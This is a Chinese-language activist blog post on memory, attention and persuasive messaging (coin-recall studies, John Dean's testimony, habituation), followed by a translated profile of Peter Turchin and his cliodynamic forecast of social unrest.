谈话不仅仅是传递信息：为什么视而不见（2）- 强调 "您" 的利益 - iYouPort

为什么视而不见

“群众” 的眼睛可能不是 “雪亮的”，您需要点方法才能让它 “亮起来” ……

「图」

「图」

欢迎回来！

如果您错过了上一集内容，可以在这里回顾：《人们只会看到自己想要看到的东西：为什么视而不见（1）- 您知道该往哪看吗》。

您能记住一枚一元钱的硬币上多少细节图案？在参与实验的20个人中，只有一个人回忆起了硬币上的图案，准确地摆对了8个关键位置的拼图。此人是个钱币收藏家。

这并不令人惊讶。您每天都在花钱，也许认为自己 “闭着眼都能分清” 20元和50元的区别，但是，如果我让您画出来20元人民币和50元人民币上图案，您能完成多少？

这是因为大多数人从来没有分析过钱币上的细节。人们对钱币的记忆更多是对其所代表的意义的记忆：“这个价值多少”。

其实这就是大脑的工作方式。您可以利用这点。

比如对人的记忆。如果您想记住某个人，您可以试着对此人的面部特征多做几次分析。还记得我们在 “超强记忆力” 系列中强调过的一种记忆人脸的方法吗？这种方法在目击证人的陈词上非常有效 —— 您必须能准确描述您看到的东西，以便更准确地制作嫌疑人拼图。再比如敏感人士被骚扰的情况下，您需要准确记住警察间谍的脸，以便在未来被渗透的情况下及时认出他们来。在下面看到：

- 《*掌握*人的心理技巧：塑造超强记忆力的方法（8）》

但是对人名的记忆就是另一回事了 。您可能有这样的体会，多年之后翻看毕业合影时您会觉得所有面孔都很熟，但是却想不起其中一些人的名字。其实我也这样，我能记住很多名人名言，却经常想不起来某句话是哪个名人说的。

「图」

「图」

大脑认为细节不重要，意义才重要

为什么会记得住脸却忘了名字？这是因为大脑觉得细节是不重要的，意义才重要 —— 在准备记忆的过程中大脑会努力去寻找意义，并急于给一件事物下定义，这个是好的，那个是坏的，这个是可疑的，那个是被确认的 …… 一旦意义出现，就会被标注在这件事物上，从那一刻开始，关于这件事物的一切细节都不会被关注。

这就是为什么很及时的辟谣并没什么作用，反而会加固原本的错误信息给大众的印象。

倒不如先放一段时间，让原有的印象淡泊一些了，再推出辟谣，也许纠正错误印象的效果会更好。

如文章开头的那个实验，20个人中只有1个人说对了，此人是个钱币收藏家。测试结果让研究人员很震惊，他们想要知道，如果人们无法回忆起硬币准确的样子，那么能否区分伪币呢？

他们继续测试，向一群人展示了15种硬币的正面图像，其中只有一个是正确的。参与测试的人需要把那个正确的图案找出来：

「图」

「图」

这次的结果相对好很多了，有一半的人选对了答案：A。

这再一次证明了人们只会对一个完整的意义感兴趣，而拼凑出意义的诸多元素都会被忽略。

换句话说，如果您想要准确记住一件事，最好是让自己相信它是“有

意义的”；给它赋予一个意义，让大脑信任这点。

📌 如果您是一名活动家或社区领导者，这点对您来说也很重要：关于您的活动如何才能更吸引人、您的演讲如何才能深入人心。

是的，您必须能构建一个意义，一个可以与您的受众心目中的 “要点” 擦出火花的意义。谈论具体事物不如谈论 “我们” 所面对的东西，谈论他人的境遇不如让人们说说自己；我们的确值得呼吁同理心，但实际上很难期待同理心能发挥动员能力 —— 真正成为动力的是每个人的切身利益。

人们也许记不住您所说的所有理念，但是肯定会给您一个意义层面的印象，您所能做的最好的事就是，让这一印象符合您的行动目标。

对普通人来说也是如此。您会忘记银行卡密码吗？还是把最珍贵的东西藏在了一个最隐秘的地方结果连自己都找不到了？…… 您要做的就是，给您的记忆附加一个意义，您藏东西的地方需要告诉大脑它是有意义的，这个意义最好只有您自己了解。

不要埋冤那些自我为中心的人，其实每个人或多或少都是如此

很多人都知道前尼克松白宫顾问约翰·迪恩（John Dean）这个名字，他还是 “Conservatives Without Conscience” 一书的作者，也不断在各种企业媒体的新闻节目中露脸。其实他更多是由于水门事件而出名的。

当时 Dean 向参议院的 “水门事件” 调查委员会做证，做证的内容是他和尼克松总统在椭圆办公室里的谈话。正如事件后来被公开的那样，这段对话被录了音。

被称为 “认知心理学之父” 的乌尔里克·奈塞尔（Ulric Gustav Neisser）对当事人的回忆和这段录音进行了对比。结果显示，**Dean** 的记忆充满了对事实的系统性更改。这是一种对其自身有利的修正。

很多对事实的扭曲反应了 Dean 的自我形象 —— 他在努力使自己在整件事中所扮演的角色更重要。而且不仅如此，Dean 的记忆中出现的错误不仅表现在谈话细节上，还表现在谈话主旨上。就如 Neisser 所总结的：“他的回忆几乎没多少是正确的”。

请注意，这段证词的提供和对话事件的发生之间只间隔短短的**9**个

月；并且，Dean 此人本来就是以回忆细节为闻名的，有些作者甚至给他起了个绰号，就叫 “人工录音机”，而且 Dean 似乎还在有意助长这种印象。

其实类似情况很常见。当您询问一个人关于某个曾经发生的热门公共事件时，您就会发现这点，不同的人的回忆着眼点可能大相径庭，并且，您会听到各种关于 “我” 的陈述，是 “我” 做了/想了什么，而不是 “我们” 或他人。

其实这不完全属于自私，而是大脑给信息贴标签的一种便捷方式：如上所述，增强其与主体的相关性；在组织动员的过程中您就可以利用这点。还记得我们昨天推荐的那本书吗？它强调：

- 假设世界是一个不断发展的历史过程；一切与每个人都是相互关联的；
- 从受教育者的历史、现在和尚未被书写的未来开始；
- 寻求改变社会，使被压迫者和其压迫者重新人性化；

📌 这样做将更容易让您的队友和组织成员在您的活动中获得融入感和存在感，对您的行动宗旨和意义印象更为深刻。

中国的活动家更倾向于讲述大义以期 “唤醒” 公众，的确，人们表面上肯定会对大义表达支持，但这些大道理很可能难以深入人心；但只有让它深入人心，您才能获得您想要的动员效果，

不要谴责人的弱点，学会引导它趋向您的伟大目标。

「图」

「图」

面对利益冲突时人们会本能地逃避

不知道我们的读者中有多少吸烟的人。您最好不要吸烟，因为它真的对健康非常不利。

对健康不利，这句话是我说的，我和您之间没有利益冲突，也许您会对这句话有一个印象；但是当这句话印在烟盒上时 …… 您知道，这几十年来都是如此，那么结果是什么呢？

1965年，联邦政府要求烟草公司必须在香烟包装上印上 “吸烟有害健康” 这样的警告标志，当时，这被消费者视为对烟草公司的一次 “重

大胜利”。然而，从此之后，烟草公司在面对消费者诉讼时就找到了一面自我保护的盾牌，他们总是会援引这个警告标志，以此来证明消费者本来就应该知道吸烟的危害。烟草公司的典型说法就是：“嗨，我警告过你哦！”

烟草公司显然觉得这种警告给了他们一个“道德豁免权”，这样他们就可以肆无忌惮地销售他们的产品。

📌 这种现象比比皆是，尤其是对于反抗者来说，是个棘手的问题，我们警告过这点。

- 当您看到监视资本家在他们的产品中宣传“隐私”时，您应该感到害怕，因为这意味着他们的侵犯正在更为深入，更难以被发现；
- 当您看到一次性不可降解产品上印着“环保”时，您应该嘲笑，这和烟草公司的小把戏没什么区别；
- 当您看到1%倡导“扶贫”时，您应该警惕，这意味着他们正在用几床棉被、一袋大米压制阶级反抗 —— 贫穷就是严重的不平等造成的，富人之所以能成为富人是因为他们有效 **确保** 了穷人永远是穷人，这是一个《动物农场的世界》
- ……

「图」

「图」

上面的电影种子在这里：*https://t.me/iyouport/7665*

类似的力量在现实世界中颇为广泛。

假设您是一个投资者，您发现IBM的审计师正在为IBM提供咨询服务；或者，您的医生建议您做X射线检查，然后告诉您他和X射线检查设备的供应商之间存在利益关系 …… 如果碰到上述这两种情况，您会继续去做X射线检查吗？您会觉得IBM的股票价值其实只是原来的一半吗？或者降低10%或5%的估值？

人们通常并不知道该如何处理这类信息，于是更多时候所做的就是忽略这些信息，就当它们不存在。

而这正是维稳者想要教给每个人的：存在即合理，去接受它，享受它，闭上眼睛躲开那些充满矛盾的东西，伪装片刻的“内心平静”。

📌 这就是为什么我们在反抗技巧中列出了“让隐形可见”的原理 —— 事实上这一切都不是“隐形”的，而是人们所接受的教育、当权者的信息控制、以及大脑本身的弱点，造成的“视而不见”，而反抗就是让它显示出来，突出出来，让每个人直面这些不公正。

这是一个重要的技巧。

也许最典型的和不断被警告的视而不见现象就是“习以为常”了，即大脑将本应被关注的事件和景象与其背景融合在一起了。在此有一个很悲伤的也是很典型的故事。

多年前在美国特拉华州，万圣节前夜一位女士上吊自杀了。她的尸体就挂在邻居和路人很容易能看到的地方，但是，却被挂了大约14个小时后才被一个人发现后报了警。

此后附近的人解释说，“人们觉得那可能只是万圣节的一个装饰吧”。如果您曾经多次在美国乡镇渡过万圣节，您可能也会误会这点，因为到处都是装饰品，小孩子穿着有趣的服饰在街头跑来跑去。而这具尸体就被“融入”了这么一个环境里。

相反，如果您第一次到美国就遇到了万圣节命案，也许您会成为第一个发现尸体的人；因为对您来说这一切都是不寻常的。如果相反，您已经在美国居住很多年，每年的万圣节都是如此渡过，您可能就会像那些居民一样“视而不见”。

是的，一些错误“新手”往往不容易出现。

2年前的某个时候有媒体询问“中国的城管现在都不打人了吗？怎么看不到人们在网上传播城管暴力的新闻？”

这当然有好几种可能，包括算法暴政已经压制了相关内容的传送 —— 令其不可见，但如果上传到推特或 Facebook，中国城管显然并不是这些美国寡头的审查目标。请注意这个时间是中国尚未提出所谓的“地毯经济”的时段。

以城管为标志性的国家暴力真的终止了吗？并没有。其实最有可能的是，人们已经对此习以为常，显然，同样的内容不断上传到社交媒体，其“吸睛度”会不断下降。这就在一定程度上压制了人们上传和转播此类内容的欲望。

这是活动家的宣传和动员需要注意的地方，您需要采取不断创新的表达方式以吸引人们对关键问题的关注，加深人们的印象。创造力很重

要。

「图」

「图」

谈话不仅仅是传递信息

大多数人都有一种简单而老套的观念，认为 “谈话” 就是传递信息。其实不是这样的，至少不总是这样的。如果仅仅将谈话作为传递信息的手段，您将失去最重要的传递信息的能力。

📌 其实谈话是一种为了达成某种特定目的而精心设计的行为方式。

如果您把谈话当作这样的一种行为，您将能准确意识到，您的一些行动就是要人们对您有某种印象、感受，或者是让别人以某种方式来对待您 —— 比 如让人喜欢上您，或者是让别人认为您是一个聪明的人，或者是一个性格强悍的人，等等。带着这个目的去谈话，人们才会以您想要的方式接收您希望传递的信息。

您肯定相信自己所表达的内容都是重要的，而您需要做到，让听者感受到这份重要 —— 这种感受并不是完全来自于您传递的内容本身，而是您在此过程中构建的个人和团体形象，对话是形象管理的重要途径。

只有当人们对您有好感的时候，他们才会真的去听您在说什么。

信息充足与准确度关系不大，但与自信心关系密切

人们总是认为摄取得越多越好，但过量的信息反而更容易出现误导性。

人们读到（或听到、看到）的东西越多，就越容易认为自己的认识更加深刻。但实际情况却并非如此。真实的结果是，您只是由此变得更加自信了，但对事物的了解却没能真正深入。

举例来说，对于信息的概述或总结，往往与同样内容的长篇大论有着相同的效果，有时候效果甚至还会更好。

卡内基梅隆大学的研究人员做过一系列实验，实验的内容是，用大学课本中5000个单词长度的内容和1000个单词长度的对该部分内容的

概述来进行对比。文章的内容五花八门，涉及各种学科；但实验最后的结果却是一样的：在对所有内容的测试中，受试者接受概述的效果都比原文要好 —— 对概述的记忆比对原文的记忆更为牢固。

但很大程度上，人们会下意识地拒绝接受这个事实。大脑总是希望获取更多的信息，不论那是否有帮助。

互联网时代每个人每天都在不停地阅读，但一天结束时您记住了多少内容？获得了多少能力？得到了哪些启发？我想很少有人总结这些。其实重要的内容就参杂在这些琐碎的内容中；而那些掌握认知规律的传播者，其内容将更有可能更多被落到实处。

正义的动员和真相的揭露一直是举步维艰的，在报纸杂志的时代里，您会被警察追捕，在互联网时代里，您还要对战“影子禁令”和算法降级。控制着技术的极少数人始终给予符合他们利益的声音以最大的传播能力。

但作为反抗者，您也有自己的优势；因为当权者的声音往往是空洞的，而每个人遭遇的委屈和感受的愤怒是切实的，您所要做的就是唤醒人们的切身感受，指明改变这一切的途径。〇

—— 未完待续 ——

原文

“下一个十年可能会更糟” - iyouport

关于高堡奇人

【2020年12月8日存档】一位历史学家认为，他发现了可以预测社会兴衰的铁律。但他有个坏消息...

【注：历史动力学 (Cliodynamics) 是一个跨学科的研究领域，它整合了文化演变，经济史/计量经济史，宏观社会学，历史过程的数学建模以及历史数据库的构建和分析。历史动力学将历史视为科学。它的从业者发展了一些理论，可以解释诸如帝国的兴衰，人口的兴衰、以及宗教的传播和消失等动态过程。这些理论被转化为数学模型。】

> 不论您是否信任这一预测，今天阅读这篇文章的人们大多有机会见证这一预测的准确度；也许，还包含能改变这一预测的人。

人类学专家 Peter Turchin 在康涅狄格大学主校区斯托斯教书，今年夏天他在这个校园里很不情愿地会见了我。像冠状病毒大流行期间的许多人一样，他宁愿尽可能少地与人类接触。他本来也怀疑人与人之间的接触是否会有很大的价值，反正他的数学模型已经可以告诉我我需要知道的一切了。

但他不得不在某个时候离开他的办公室。自从防疫封锁全国后，我们俩都没怎么见过人。校园里很安静。动物们正在怯生生地开垦校园：松鼠、柴鸡、鹿，甚至偶尔还有一只红尾鹰。在我们行走的过程中，管理员和几个玩滑板的孩子是仅有的能看到的其他人类。

2020年对 Turchin 来说是仁慈的，而由于许多同样的原因，这一年对我们其他人来说是地狱。城市起火、民选领导人支持暴力、凶杀案激增 —— 对一个正常的美国人来说，这些都是世界末日的征兆。

而对 Turchin 来说，这些状况只是在表明他的模型 —— 其中包含了数千年的人类历史数据 —— 正在发挥作用。(“不是所有的人类历史，只是过去的一万年”，他纠正我说）。

十年来，他一直在警告，一些关键的社会和政治趋势预示着一个 “糟糕的时代”，内乱和屠杀比大多数人所经历的更糟糕。**2010**年时他就预测到，动荡将在**2020**年前后变得严重，除非这些社会和政治趋势发生根本性逆转，否则不会停止。如何衡量一下的话那就是：1960年代末和70年代初那种程度的浩劫是 “最好的” 情况，全面内战才是 “最坏的” 情况。

他说，根本的问题是社会弊病的黑暗三驾马车：精英阶层膨胀，而精英工作岗位太少；普通民众生活水平下降；政府无法弥补其财政状况。

他的模型追踪了历史上其他社会的这些因素，太过复杂，无法在非技术性的出版物中解释。但它们成功地打动了非技术性出版物的作者，并为他赢得了与其他 “宏大历史” 类作者的比较，如 Jared Diamond 和 Yuval Noah Harari。

纽约时报专栏作家 Ross Douthat 曾经认为 Turchin 的历史模型没有说服力，但 2020这一年让他成为了一个信徒：“在这点上，我觉得你必须多关注下 Turchin” ，Douthat 最近在一档播客节目中承认，

Diamond 和 Harari 旨在描述人类的历史，而 Turchin 为同龄人展望了一个遥远的、科幻的未来。2006年出版的书《War and Peace and War》是最容易理解他的一本书，其中他把自己比作 Isaac Asimov《基地》系列中的 “特立独行的数学家” 哈瑞·塞尔登，他可以预言帝国的兴衰。

在那一万年的数据中，Turchin 相信自己已经找到了决定人类社会命运的铁律。

他说，至少在短期内，这个社会的命运不会美好。当我们经过镜湖时，他告诉我：“已经太晚了”。康州大学的网站将镜湖描述为学生们最喜欢的 “阅读、放松或荡秋千” 的地方。

这些问题是深层次的、结构性的 —— 不是民主变革的繁琐过程能够及时解决以防止出现混乱的那种问题。Turchin 把美国比作一艘直接驶向冰山的巨轮。“如果你只是在和船员讨论该如何转向， 那你只会来不及转向， 直接撞上冰山。” 过去10多年来，这些讨论一直在进行。而你现在听到的是那种令人作呕的脆响 —— 钢铁扭曲、铆钉爆裂的声音 —— 就是船撞上冰山的声音。

“我们几乎可以保证 5年地狱般的生活”，Turchin 预测，而且很可能

是10年或更久。他说，问题就在于，他指着我：“像你这样的人太多了 —— 你们是统治阶级。”

在推动社会暴力的三个因素中，Turchin 最强调的是 “精英生产过剩” —— 一个社会的统治阶级的增长速度往往快于供其成员填补的职位数量。统治阶级成长的一种方式是生物学上的 —— 想想沙特，那里的王子和公主的出生速度超过了为他们创造皇室角色的速度。

在美国，精英阶层通过经济和教育的向上流动来过度生产自己。越来越多的人变得富有， 越来越多的人接受教育。这些本身听起来都不坏，难道我们不希望每个人都富有和受教育吗？但是，当金钱和哈佛学位变得像沙特皇室的头衔那般稀缺时，问题就开始了。如果很多人都有资格，但是只有一部分人有实权，那么没有实权的人最终会反过来对付有实权的人。

Turchin 告诉我，在美国，你可以看到越来越多的有志之士为了一份糊口工作而奋斗，比如说，在一家著名的律师事务所，或者在一个有影响力的政府部门中，或者在一家全国性杂志社工作。也许是看到了我 T恤衫上的洞，Turchin 指出，一个人可以成为意识形态精英的一部分，而不是经济精英。(他不认为自己是这两者中的一员。他说，一个教授最多能接触到几百个学生，“而你这样的记者接触的是几十万人”) 。

精英的工作岗位不会像精英那样快速繁殖。参议院的席位仍然只有100个，但比以往任何时候都有更多的人拥有足够的金钱或学位，并认为自己应该管理国家。“现在的情况是，有更多的精英在争夺同一个职位，其中一部分人会转化为反精英”，Turchin 说。

例如，特朗普（Donald Trump）可能看起来是个精英 —— 富豪父亲、沃顿学位、镀金商品，但特朗普主义是一场反精英运动。他的政府里挤满了有资格却没有能成为精英的无名小卒，他们被前几届政府拒之门外，有时是出于好的原因，更多时候只是因为格罗顿-耶鲁大学的机构里根本没有任何空缺了。

Turchin 说，特朗普的前顾问兼首席战略师史蒂夫-班农（Steve Bannon）是一个反精英的 “典范”。他从小是工人阶级，上过哈佛商学院，作为一名投资银行家，并通过拥有《Seinfeld》的辛迪加版权的少量股份而致富。而这些都没有转化为政治权力，直到他与普通人结盟。“他是一个反精英，他利用特朗普来突破自己，让白人男性劳动力重新当家作主”，Turchin 说。

精英的过度生产造就了反精英，而反精英则在平民中寻找盟友。如果平民的生活水平下滑 —— 不是相对于精英，而是相对于他们之前的生活水平的下滑 —— 他们就会接受反精英的示好，并开始给自己的车轴上油。

平民的生活越来越糟，少数试图把自己拉上精英救生艇上的人被那些已经上船的人推回水中。Turchin 说，即将崩溃的最后诱因往往是国家破产。

在某些时候，不断上升的不安全感变得越来越昂贵。精英们不得不用施舍和免费赠品来安抚不满的公民 —— 而当这些东西用完后，他们就不得不用警察来镇压异己和加强压迫人民。最终，国家用尽了所有的短期解决方案，而之前连贯的文明也解体了。

即便现在还没有发生解体，大体上就像 Storrs 预言家10年前所警告的那样，Turchin 的预言会更容易被当作吧台理论。如果未来10年像他说的那样震荡，他的见解就必须由历史学家和社会科学家来解释 —— 当然，前提是还有大学能雇用这些人。Peter Turchin, photographed in Connecticut’s Natchaug State Forest in October. The former ecologist seeks to apply mathematical rigor to the study of human history. (Malike Sidibe)

Turchin 1957年出生于俄罗斯的奥布宁斯克，这座城市被苏联国家建成了一种知识分子的天堂，科学家们可以在这里合作和生活。他的父亲 Valentin 是一名物理学家和政治异议人士，母亲 Tatiana 曾接受过地质学家的训练。在他7岁时，他们搬到了莫斯科，1978年作为政治难民逃到了纽约。

在那里，他们很快就找到了一个说着家庭语言的社区，一个科学氛围的社区。他父亲在纽约市立大学任教，他在纽约大学学习生物学，并在杜克大学获得动物学博士学位。

Turchin 写了一篇关于墨西哥豆甲虫的论文，这是一种可爱的瓢虫状害虫，在美国和危地马拉之间的地区以豆类为食。当 Turchin 开始研究的时候，在20世纪80年代初，生态学正在以一种某些领域已经有的方式发展。

研究虫子的老方法是收集它们并描述它们：数它们的腿，测量它们的肚子，并将它们钉在刨花板的碎片上以备将来参考。(去伦敦的自然历史博物馆，在老旧的储藏室里你仍然可以看到那些钟形罐子和标本箱的架子)。

70年代，澳大利亚物理学家 Robert May 已将注意力转向生态学，并帮助将其转变为一门数学科学。然而，在他职业生涯的早期，Turchin 告诉我，“大多数生态学家仍然有相当程度的数学恐惧症”。

事实上，Turchin 确实做了很多实地工作，但他对生态学的贡献主要是通过收集和使用数据来模拟种群的动态 —— 例如，确定为什么松树甲虫种群会占领森林，或者为什么同一种群数量会下降。他还研究过飞蛾、田鼠和旅鼠。

在90年代末，灾难发生了。Turchin 意识到他对甲虫的一切都了如指掌，他把自己比作英国剧作家汤姆·斯托帕德戏剧《阿卡迪亚》中的天才女孩，她痴迷于在德比郡乡间别墅周围的松鸡和其他生物的生命周期。这个角色有一个缺点，那就是生活在混沌理论发展之前一个半世纪。“她最终放弃了，因为这实在是太复杂了”，Turchin 说，“我也放弃了，但那是因为我解决了问题。”

Turchin 出版了最后一本专著《复杂人口动力学》(2003)，然后向他的康州大学同事们透露了一个消息，他将永远告别这个领域，尽管他将继续作为他们部门的终身教授领取薪水。他不再加薪，但他告诉我，他已经 “处于一个舒适的水平，而且，你知道，你不需要这么多钱”。

“通常中年危机意味着你和老妻离婚，然后娶一个研究生”，Turchin 说，“而我是和一个老科学离婚了，娶了一个新科学。”

他最后的一篇论文发表在《Oikos》杂志上。“种群生态学有一般规律吗？” Turchin 问道。大多数生态学家都说没有。种群有它们自己的动态，每一种情况都是不同的。松树甲虫因为自己的原因而繁殖、乱跑、肆虐森林，但这并不意味着蚊子或蜱虫的数量会按照同样的节奏上升和下降。Turchin 提出，“有多个非常普遍的类似于规律的东西”可以应用于生态学。

在经历了漫长的收集和编目的青春期之后，生态学现在已经有了足够的数据来描述这些普遍规律 —— 也不再假装每个物种都有自己的特异性。“生态学家知道这些规律，应该把它们称为规律”，他说。

例如，Turchin 提出，生物体的种群是以指数方式增长或下降的，而不是线性增长或下降。这就是为什么如果你买了两只豚鼠，你很快就不只是多了几只豚鼠，而是一个家 —— 然后是一个邻居 —— 到处都是这些该死的东西（只要你继续喂它们）。

这个定律很简单，高中数学学生都能理解，它描述了从蜱虫、椋鸟到骆驼等各种动物的命运。Turchin 应用于生态学的定律 —— 他坚持称它们为定律 —— 在当时引起了尊重的争议。而现在，它们已经被教科书所引用。

离开生态学后，Turchin 开始了类似的研究，试图为不同的动物物种：即 人类，制定一般规律。他是长期的历史爱好者，但他也有一种掠夺者的本能，即 调查人类知识的大草原，扑向最弱小的猎物。

“所有科学都会经历这种向数学化过渡的过程”，Turchin 告诉我。“当我遇到中年危机时，我正在寻找一个可以帮助我向数学化科学过渡的学科。当时只剩下一门了，那就是历史学。”

历史学家阅读书籍、信件和其他文本；偶尔可能挖出锅铲和硬币。但对 Turchin 来说，仅仅依靠这些方法就相当于研究虫子，把它们钉在刨花板上，然后数它们的腿。如果历史学家不打算自己迎来一场数学革命，他就会冲进去，为他们做这件事。

“关于历史是否具有一般规律，科学家和哲学家之间存在着长期的争论”，他和一位合著者在《Secular Cycles》（2009年）中写道，“我们研究的一个基本前提是，可以用物理学家和生物学家用来研究自然系统的方法来研究历史社会。”

Turchin 创办了一本杂志就叫《Cliodynamics》，致力于 “寻找解释历史社会运作和动态的一般前提”。他已经在《自然》杂志的一篇文章中宣布了这门学科的到来，他把不愿意建立一般前提的历史学家比作生物学界的同事，“他们最关心的只是莺莺燕燕的私生活”。他写道：“让历史继续关注特殊的事物”。

历史动力学将是一门新的科学。当历史学家们在大学的地下室里掸着罐子上的灰尘时，Turchin 和他的追随者们将在楼上，回答宏大的问题。

为了给杂志的研究提供种子，Turchin 策划了一个历史学和考古学数据的数字档案。他告诉我，对其记录的编码需要精巧，因为（例如）确定中世纪法国精英有志阶层规模的方法可能与衡量当今美国同一阶层的方法不同。但一旦输入数据，经过 Turchin 和其审查的历史时期的专家们的审核，它们就会对历史现象提供快速而有力的建议。

长期以来，宗教史学家一直在思考复杂文明的兴起与对神的信仰之间的关系 —— 尤其是 “道德化的神”，就是那种会骂你犯罪的神。去

年，Turchin 和十几位合著者挖掘了数据库（来自世界各地30个地区的414个社会的记录，这些记录跨越了过去1万年的时间，使用了51个社会复杂性的衡量标准和4个超自然执行道德的衡量标准），最终回答了这个问题。

他们发现，复杂的社会更有可能有道德化的神，但神往往是在社会变得复杂之后，而不是在社会变得复杂之前才开始骂人。随着数据库的扩大，它将试图把更多的问题从人文推测的领域中剔除出来，并把它们锁在一个标有答案的抽屉里。

Turchin 最不受欢迎的结论之一是，复杂的社会是通过战争产生的。战争的效果是奖励那些组织起来战斗和求生的社区，而它往往会消灭那些简单和小规模的社区。

“没有人愿意接受我们生活在如此富足的社会中是由于战争那种丑陋的东西这一事实”，他说。但数据很清楚：达尔文式进程选择复杂的社会，是因为它们杀死了简单的社会。认为民主在其相对于竞争对手制度的基本善良和道德改善中找到优势的想法，同样是虚幻的。相反，民主社会之所以兴盛，是因为它们具有被外敌几乎消灭的记忆。它们只有通过集体行动才避免了灭亡，而这种集体行动的记忆使得民主政治在当下更容易进行，Turchin 说，“采用民主体制和不得不为生存而战之间有着非常密切的关系。”

他同样不受欢迎的结论还有：内乱可能很快就会到来，而且可能达到国破家亡之地步的结论。2012年，Turchin 发表了一份关于政治暴力的分析报告，同样从数据库入手。他将1780年 ~ 2010年的1590起事件 —— 暴乱、私刑、任何至少杀死一人的政治事件 —— 进行了分类。

有些时期是平静的，有些时期是血腥的，**1870**年、**1920**年和**1970**年是残暴的高峰期，**50**年一个周期。**Turchin** 将最终的暴力事件 —— 内战作为一个 “特殊事件” 排除在外。这种排除看似可疑，但对统计学家来说，“修剪离群值” 是标准做法。相比之下，历史学家和记者倾向于关注离群值 —— 因为它们很有趣 —— 这些人有时反而会错过大趋势。

【注：离群 即 特殊现象，比如媒体总是聚焦那些最神奇的、高难度和昂贵的网络攻击方式，而这些方式并不是攻击者最常用的；如果普通公民的防御策划基于媒体的这些报道，反而有可能会错过攻击者最常用的方式 —— 也就是最危险的最容易中招的部分】

这种周期性观点的某些方面需要重新学习美国历史的部分内容，特别要注意精英阶层的人数。Turchin 说，19世纪中叶开始的北方工业化使大量的人富裕起来。在南北战争期间，精英群体被清除，这场内战使南方的奴隶制阶级被杀死或贫困化，在重建期间，美国又经历了一波对共和党政治家的暗杀浪潮。(其中最著名的是第20任总统 James A. Garfield 被一名提出了要求但没有得到政治任命的律师所暗杀)。直到20世纪20年代的进步改革，以及后来的新政，精英阶层的过度生产才真正放缓，至少在一段时间内是这样。

这种在暴力与和平之间的摇摆，以精英阶层的过度生产作为美国启示录反复出现的第一骑士，激发了 Turchin 的2020年预测。**2010**年，当《自然》杂志调查科学家对未来十年的预测时，大多数人把调查当成了自我宣传的邀请，并梦幻般地狂想着自己所在领域即将取得的进展。但 **Turchin** 则用他的末日预言进行了反驳，并表示，除了根本性的改变之外，没有任何其他东西能阻止另一次暴力的转折。

Turchin 提供的药方总体上是模糊不清、无法分类的；其中一些听起来像是参议员伊丽莎白·沃伦的想法 —— 向精英阶层征税，直到他们人数减少 —— 而另一些，如呼吁减少移民以保持美国工人的高工资，则类似于特朗普的保护主义。其他提议则根本是 “异端”。

例如，他反对以学历为导向的高等教育，他说这是一种大量生产精英的方式，却没有同时大量生产精英的工作岗位供他们占据。他告诉我，这种政策的设计者是在 “制造过剩的精英，其中有些人就将成为反精英”。更聪明的办法是保持精英人数足够少，而普通民众的实际工资不断提高。

怎么做呢？Turchin 说，他真的不知道，这也不是他的工作。“我并没有真正从具体政策的角度去思考”，他告诉我，“我们需要阻止精英生产过剩的失控过程，但我不知道什么办法能做到这一点，别人也不知道。你增加税收吗？提高最低工资？普及基本收入？” 他承认，这些可能性都会产生不可预知的效果。

他回忆起自己还在做生态学家时听到的一个故事。林业局曾经实施过一项计划，用杀虫剂减少树皮甲虫的数量，结果发现杀虫剂杀死甲虫的捕食者甚至比杀死甲虫本身更有效。干预的结果是甲虫比以前更多了。他说，这个教训就是要实行 “适应性管理”，随着时间的推移改变和调整你的方法。

Turchin 希望，最终，我们对历史动态的理解将成熟到没有一个政府在制定政策时不会不反思自己是否正朝着数学上预设的灾难前进。他

说，他可以想象一个阿西莫夫式的机构，它能随时关注领先指标，并提供相应的建议。它将像美联储那样，但它的任务不是监测通货膨胀和控制货币供应，而是避免文明的全面崩溃。

历史学家总体上并没有大方地接受 Turchin 的投降条件。至少从19世纪开始，这门学科就接受了这样的观点，即：历史是不可还原的复杂，到现在，大多数历史学家依旧认为，人类活动的多样性将挫败任何想得出一般规律、特别是预测性规律的尝试。

正如南卫理公会大学的历史学家 Jo Guldi 对我说的那样，“一些历史学家看待 Turchin 的方式就像天文学家看待法国籍犹太裔预言家诺斯特拉达姆士一样”。相反，每一个历史事件都必须被爱护地描述，它的特异性被理解为与其他事件的相关性有限。一件事引起另一件事，以及因果模式可以告诉你另一个地方或一个世纪的事件序列，这种想法是陌生的领域。

人们甚至可以说，将历史定义为人文事业的原因是由于相信历史不受科学规律的支配 —— 人类社会的工作并不像台球那样，如果以一定的角度排列，并以一定的力量击打，它们总会恰到好处地散开，滚向战争的边袋，或和平的边袋。

Turchin 反驳说，他以前听到过不可还原的复杂性的说法，而科学方法的稳定应用已经成功地管理了这种复杂性。考虑一下，他说，温度的概念 —— 这个东西现在已经是如此明显地可量化，别忘了人们曾经一直在嘲笑它太模糊而无法测量。“早在人们知道什么是温度之前，你能做的最好的事就是说你很热或很冷”，Turchin 告诉我。这个概念取决于很多因素：风、湿度、普通人的感知差异。而现在我们有了温度计。**Turchin** 想为人类社会发明一种温度计，它可以测量人类社会何时可能沸腾成战争。

有一位社会科学家可以用自己的数学论证与 Turchin 对话，他就是赵鼎新，一位芝加哥大学的社会学教授，他也是一位前数学生态学家。“我是自然科学背景出身的”，赵告诉我，“在某种程度上，我很同情 Turchin。如果你是自然科学出身的社会科学家，你看世界的方式就很强大。但你也可能犯大错。”

赵说，人类只是比虫子复杂得多。他告诉我：“生物物种的策略并不是很灵活。”经过几千年的进化研发，一只啄木鸟会想出巧妙的办法把嘴伸进树里寻找食物；它甚至可能具有社会性特征 —— 一只啄木鸟可能会强势地将另一只啄木鸟的喙插进树上，让它先吃到最美味的白蚁。但人类是更狡猾的社会性生物，赵说。

啄木鸟会吃白蚁，但它“不会解释自己这么做是因为这是它的神圣权利”。而人类一直在拉动这样的意识形态权力动作，赵说，要理解“一个特朗普，或者一个习近平的决定”，一个自然科学家必须结合人类战略、情感和信仰的无数复杂因素。“我做出了这种改变”，赵告诉我，“而 Turchin 则没有。”

然而，Turchin 却在填补一个由学术史学家留下的空白，这些史学家不仅对科学过敏，而且对过去的广角观过敏。他把自己置身于俄罗斯的传统中，容易对历史的道路进行扫视性的、托尔斯泰式的思考。

相比之下，美国的历史学家大多像微观者。很少有人敢写美国的历史，更不用说人类文明史了。Turchin 的方法也是俄罗斯式的，或者说是后苏联式的，他拒绝接受曾是苏联国家官方意识形态的马克思主义历史进步理论。

